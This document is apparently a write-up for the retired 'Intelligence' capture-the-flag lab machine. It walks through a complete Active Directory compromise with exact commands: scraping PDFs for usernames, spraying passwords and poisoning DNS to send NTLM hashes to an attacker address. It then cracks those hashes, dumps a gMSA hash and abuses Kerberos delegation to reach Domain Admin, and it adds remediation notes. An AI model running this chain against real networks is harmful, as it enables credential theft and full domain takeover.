Intelligence
Summary
I identified a date-predictable IIS document store and silently bulk-downloaded over eighty internal PDF files from the corporate web server without authentication. Extracting PDF Creator metadata exposed 130 domain account names; reading the PDF body text revealed a default onboarding password still in circulation. A single-password spray authenticated as Tiffany.Molina, yielding SMB access and the user flag.
An IT file share held a PowerShell scheduled task that periodically queried Active Directory DNS for every hostname beginning with 'web' and made authenticated HTTP requests — using Windows pass-through NTLM credentials — to each one. Because any authenticated domain user may write records into AD-Integrated DNS, I registered a malicious A record pointing to my own VPN address. When the scheduled task fired, it delivered Ted.Graves's NetNTLMv2 challenge-response to my own Responder listener; offline cracking against rockyou recovered the password.
BloodHound graphed an unbroken privilege chain: Ted.Graves belonged to ITSUPPORT, which held ReadGMSAPassword over the service account svc_int$, which held AllowedToDelegate (constrained Kerberos delegation) to the Domain Controller. Dumping the group-managed service account password hash and invoking the Kerberos S4U2Proxy extension produced an Administrator-impersonating service ticket; wmiexec executed commands as Domain Admin — full environment compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <svc_int_nthash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Register domain and DC hostname for local resolution.
$ echo "$TARGET intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hostsBulk-download every published PDF; adjust end date if the scheme extends beyond 2021.
$ mkdir -p /tmp/intel_pdfs && python3 - <<'PY'
import requests, datetime
base = 'http://intelligence.htb/documents/'
d = datetime.date(2020, 1, 1); end = datetime.date(2021, 12, 31)
while d <= end:
url = base + d.strftime('%Y-%m-%d') + '-upload.pdf'
r = requests.get(url, timeout=10)
if r.status_code == 200:
open(f'/tmp/intel_pdfs/{d}.pdf', 'wb').write(r.content)
print(d, len(r.content))
d += datetime.timedelta(days=1)
PYFixRestrict the document repository to authenticated employees onlyHigh
Exact commands 2
Extract unique Creator values; should yield ~130 lines.
$ for f in /tmp/intel_pdfs/*.pdf; do exiftool -Creator "$f" 2>/dev/null; done | awk -F': ' '{print $2}' | sort -u | grep -v '^$' > /tmp/users.txt && wc -l /tmp/users.txtScan all PDF text for credential hints; look for the default-password announcement.
$ for f in /tmp/intel_pdfs/*.pdf; do pdftotext "$f" - 2>/dev/null; done | grep -i 'password\|default\|new.*user'FixRemove credentials and usernames from internal documents before publicationCritical
Exact commands 2
Single-password spray; --continue-on-success surfaces every valid account, not just the first.
$ nxc smb $TARGET -d intelligence.htb -u /tmp/users.txt -p "$PASSWORD" --continue-on-success 2>&1 | grep '\[+\]'Retrieve user flag; value is <user.txt>.
$ smbclient "//$TARGET/Users" -U "intelligence.htb/Tiffany.Molina%$PASSWORD" -c 'get Tiffany.Molina/Desktop/user.txt /tmp/user.txt' >/dev/null && cat /tmp/user.txtFixRequire password change on first login and block default credential stringsCritical
Exact commands 3
Download and read the script to confirm -UseDefaultCredentials and the 'web*' hostname pattern.
$ smbclient "//$TARGET/IT" -U "intelligence.htb/Tiffany.Molina%$PASSWORD" -c 'get downdetector.ps1 /tmp/downdetector.ps1' >/dev/null && cat /tmp/downdetector.ps1Add the malicious A record; replace $ATTACKER_IP with your current tun0 address.
$ python3 /opt/krbrelayx/dnstool.py -u 'intelligence\Tiffany.Molina' -p "$PASSWORD" -dc-ip $TARGET -a add -r web1 -d $ATTACKER_IP -t A dc.intelligence.htbVerify the record resolves before starting Responder.
$ dig +tcp @$TARGET web1.intelligence.htb A +shortFixRemove the authenticated-users AD-Integrated DNS write permissionHigh
Exact commands 3
Run Responder in the foreground; wait up to 5 minutes for the scheduled task to fire.
$ sudo responder -I tun0 -dwvCrack the captured hash; adjust the filename to match what Responder wrote — check /usr/share/responder/logs/.
$ john --wordlist=/usr/share/wordlists/rockyou.txt /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txtConfirm the cracked password authenticates before proceeding.
$ nxc smb $TARGET -u Ted.Graves -p "$PASSWORD2" -d intelligence.htbFixEliminate NTLM credential forwarding in outbound scheduled-task web requestsHigh
Exact commands 1
Collect all domain objects; import the zip into the BloodHound UI and search for shortest paths to Domain Admins from Ted.Graves.
$ bloodhound-python -c All -u Ted.Graves -p "$PASSWORD2" -d intelligence.htb -ns $TARGET --zipFixRemove the ReadGMSAPassword ACE and scope constrained delegation to the minimum requiredCritical
Exact commands 5
Synchronise clock to the DC — Kerberos rejects tickets with more than 5 minutes of clock skew.
$ sudo ntpdate $TARGETDumps svc_int$ NT hash from the msDS-ManagedPassword LDAP attribute. Record the hash in :NTHASH format.
$ python3 /opt/gMSADumper/gMSADumper.py -u Ted.Graves -p "$PASSWORD2" -d intelligence.htb -l $TARGETS4U2Self + S4U2Proxy; replace <svc_int_nthash> with the dumped hash. Produces Administrator.ccache in the current directory.
$ impacket-getST -spn 'WWW/dc.intelligence.htb' -impersonate Administrator -hashes ':<svc_int_nthash>' 'intelligence.htb/svc_int$'Interactive Domain Admin shell using the forged ticket.
$ KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass dc.intelligence.htbRead the root flag directly; value is <root.txt>.
$ KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass dc.intelligence.htb 'type C:\Users\Administrator\Desktop\root.txt'Attack patterns used
The transferable techniques behind this compromise.
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
Kerberos Delegation Abuse (S4U / RBCD)Active Directory · KerberosT1558
What it is
Kerberos delegation lets a service impersonate users to other services. Misconfigured constrained delegation (S4U2Self + S4U2Proxy) or resource-based constrained delegation (RBCD) can be abused: controlling a delegating account (or an account with write access to a target's msDS-AllowedToActOnBehalfOfOtherIdentity) lets an unauthorised user forge a service ticket as an arbitrary user (e.g. Administrator) to the target service.
Why it works
Delegation is powerful and easy to over-grant; combined with an 'altservice' SPN trick an unauthorised user can pivot the delegation to high-value services like CIFS/HOST on a DC. Remediate by minimizing delegation, marking sensitive accounts 'not delegatable', and adding them to Protected Users.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-12 08:57:46Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb, Site: Default-First-Site-Name) |
| 3269/tcp | tcpwrapped |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49666/tcp | unknown recon-sweep-discovered |
| 49691/tcp | unknown recon-sweep-discovered |
| 49692/tcp | unknown recon-sweep-discovered |
| 49708/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.